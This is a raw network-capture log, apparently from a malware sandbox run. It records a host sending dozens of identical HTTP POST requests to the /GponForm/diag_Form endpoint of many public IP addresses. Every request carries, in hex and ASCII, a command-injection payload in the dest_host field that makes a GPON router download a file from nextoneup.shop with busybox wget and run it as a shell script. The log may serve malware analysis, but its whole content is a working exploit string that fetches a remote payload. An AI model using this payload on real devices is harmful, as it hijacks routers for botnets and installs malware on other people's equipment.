Apr 14, 2024 04:01:52.403573036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2487	192.168.2.13	54116	94.70.129.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403609991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2488	192.168.2.13	56020	202.208.106.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403642893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2489	192.168.2.13	44508	202.42.188.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403665066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2490	192.168.2.13	35958	109.61.105.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403687954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2491	192.168.2.13	57872	5.192.69.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403704882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2492	192.168.2.13	49148	212.13.206.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403712034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2493	192.168.2.13	46054	5.185.190.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403723955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2494	192.168.2.13	37374	118.208.195.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403750896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2495	192.168.2.13	59888	202.74.36.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403773069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2496	192.168.2.13	48558	109.84.169.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403815985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2497	192.168.2.13	33756	123.175.86.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403836012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2498	192.168.2.13	35154	37.168.233.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403852940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2499	192.168.2.13	36828	42.162.125.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403878927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2500	192.168.2.13	38760	5.30.172.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403881073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2501	192.168.2.13	52616	42.201.152.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403901100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2502	192.168.2.13	33420	109.239.157.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403930902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2503	192.168.2.13	52514	109.72.209.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403945923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2504	192.168.2.13	50628	118.81.101.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403954983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2505	192.168.2.13	51184	117.227.148.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403963089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2506	192.168.2.13	49872	148.189.197.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404005051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2507	192.168.2.13	58864	94.115.62.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404031038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2508	192.168.2.13	40250	118.157.48.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404036045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2509	192.168.2.13	53840	118.167.70.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404067993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2510	192.168.2.13	45062	109.88.229.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404103041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2511	192.168.2.13	38622	2.181.114.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.404134035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

